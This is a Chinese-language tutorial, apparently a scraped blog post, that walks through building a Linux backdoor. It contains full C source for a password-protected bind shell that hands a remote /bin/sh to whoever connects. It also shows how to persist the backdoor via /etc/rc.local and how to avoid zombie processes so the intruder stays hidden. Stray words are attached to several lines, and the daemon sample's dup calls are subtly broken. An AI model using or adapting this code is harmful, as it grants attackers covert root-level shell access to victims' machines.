一個簡單的Linux後門程序的實現

      該程序實質是一個簡單的socket編程,在受害方上運行攻擊代碼(後門進程),經過socket打開一個預設端口,並監聽,等待攻擊方的連接。一旦攻擊方經過網絡連接工具試圖連接該socket,那麼後門進程馬上fork一個子進程來處理連接請求。處理請求的行爲即用exec函數打開一個shell來代替本子進程,並將本進程的標準輸入、輸出、出錯文件描述符重定向到該套接字上,這樣就實現了攻擊方遠程獲得了受害方的一個shell。html

int main(int argc, char **argv)
{
    int i, listenfd, connfd;        /*listenfd爲主進程監聽的套接字,connfd爲TCP鏈接後的套接字*/
    pid_t pid;
    char buf[MAXLINE];
    socklen_t clilen;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
 
    setuid(0);                     /*爲了保險,咱們將經過setuid函數使得程序以擁有者身份的權限運行*/
    setgid(0);
    seteuid(0);
    setegid(0);

//    daemon(0,0);                    /*經過daemon函數能夠把本程序從終端設備下脫離出來變成守護進程,若是系統啓動時加載本程序就無需這個函數*/

    listenfd = socket(AF_INET,SOCK_STREAM,0);                 /*建立套接字*/
    if (listenfd == -1){
        printf("socket failed!");
        exit(1);
    }
    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(PORT);
    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        printf("bind failed!\n");
        exit(1);
    }
    if (listen(listenfd, 20)==-1){                            /*監聽套接字*/
        printf("listen failed!");
        exit(1);
    }
    clilen = sizeof(c_addr);

    while(1){
        connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻擊者發起連接*/
        pid = fork();                                      /*建立子進程*/
        if(!pid)
        {
            if((pid = fork()) > 0)                         /*建立孫進程*/
            {
                exit(0);                          /*子進程終結*/
            }else if(!pid){                       /*孫進程處理連接請求*/
                close(listenfd);                  /*關閉除要處理的套接字外的全部描述符*/
                write(connfd, ENTERPASS, strlen(ENTERPASS));
                memset(buf,'\0', MAXLINE);
                read(connfd, buf, MAXLINE);
                if (strncmp(buf,PASSWORD,5) !=0){
                    close(connfd);
                    exit(0);
                }else{
                    write(connfd, WELCOME, strlen(WELCOME));
                    dup2(connfd,0);               /*將標準輸入、輸出、出錯重定向到咱們的套接字上*/
                    dup2(connfd,1);               /*實質是套接字的複製*/
                    dup2(connfd,2);
                    execl("/bin/sh", "mysh", (char *) 0);      /*打開一個shell代替本進程*/
                }
            }
        }
        close(connfd);
        if (waitpid(pid, NULL, 0) != pid)                     /*父進程等待回收子進程*/
            printf("waitpid error");
    }
}

有幾點細節須要注意shell

      首先攻擊程序經過啓動腳本在開機後就在後臺做爲守護進程運行,守護進程的子進程依然是守護進程,使得本進程不容易被發現。編程

      將一個程序在開機後做爲守護進程執行的方法很簡單,只需在啓動腳本中增長對應可執行文件的路徑和文件名便可。首先將本身的程序編譯經過生成可執行文件,將可執行文件放到某一個目錄下(如/usr/bin/),而後在啓動腳本中增長一行:網絡

$vi /etc/rc.local
/usr/bin/filename

固然從一個shell進程打開的進程能夠經過Linux下提供的daemon函數實現,其實質是fork和setsid的組合。daemon的實現大體以下:session

int daemon( int nochdir,  int noclose )
{
   pid_t pid;
   if ( !nochdir && chdir("/") != 0 ) //若是nochdir=0,那麼改變到"/"根目錄
       return -1;
   
   if ( !noclose ) //若是沒有noclose標誌
   {
        int fd = open("/dev/null", O_RDWR); 
        if ( fd  <  0 )
            return -1;

       /* 重定向標準輸入、輸出、錯誤 到/dev/null,
          鍵盤的輸入將對進程無任何影響,進程的輸出也不會輸出到終端
       */
    dup(fd, 0);
    dup(fd, 1);
    dup(fd, 2);     
    close(fd);
}

   pid = fork();  //建立子進程.
   if (pid  <  0)  //失敗
      return -1;
   if (pid > 0)
       _exit(0); //返回執行的是父進程,那麼父進程退出,讓子進程變成真正的孤兒進程.

//建立的 daemon子進程執行到這裏了
   if ( setsid()  < 0 )   //建立新的會話,並使得子進程成爲新會話的領頭進程
      return -1;
   return 0;  //成功建立daemon子進程
}

      首先調用fork,而後終止父進程。若是本進程是從前臺做爲一個shell命令啓動的,當父進程終止時,shell就認爲該命令已執行完畢。這樣子進程就自動在後臺運行。另外,子進程繼承了父進程的進程組ID,不過它有本身的進程ID。這就保證子進程不是一個進程組的頭進程,這是接下去調用setsid的必要條件。setsid用於建立一個新的會話(session),當前進程變爲新會話的會話頭進程以及新進程的進程組頭進程,從而再也不有控制終端。併發

       daemon函數給出的步驟到此爲止,然而當一個會話頭進程打開一個終端設備時,該終端自動成爲這個會話頭進程的控制終端。史蒂芬告訴咱們,在setsid以後咱們須要再次fork,再次fork的目的是確保本守護進程不是一個會話頭進程,未來即便打開一個控制終端,也不會自動得到控制終端。socket

       其次是關於產生殭屍進程的問題,程序本來的想法是主進程始終監聽,當有鏈接則fork一個子進程進行處理,鑑於主進程要併發處理多個鏈接,故不能在fork以後調用wait或waitpid來回收子進程,這就出現了問題,那就是子進程結束以後父進程沒有回收它,使得產生殭屍進程,固然若是在子進程中若是調用exec成功後用shell代替當前子進程就沒有這個問題,可是若是在調用exec前發生錯誤,好比密碼輸入錯誤,此時子進程死掉以後沒有進程爲它回收狀態信息,這時候就會產生殭屍進程,從攻擊者看來顯得容易暴露身份。解決的辦法有若干個,其中一種簡單是方法就是,主進程在fork後調用wait或waitpid,在子進程中再次調用fork,產生孫進程,而子進程立刻終結,這時候父進程回收子進程。而孫進程因爲死了子進程,而有init進程接管,由init進程對孫進程進行回收。固然,處理殭屍進程的方法不止一種,詳細請參見http://www.cnblogs.com/big-xuyue/p/3590680.html 以及 http://www.cnblogs.com/Anker/p/3271773.html函數

       最後咱們能夠經過nc工具進程測試:工具

$nc -vv localhost 5669
相關文章
相關標籤/搜索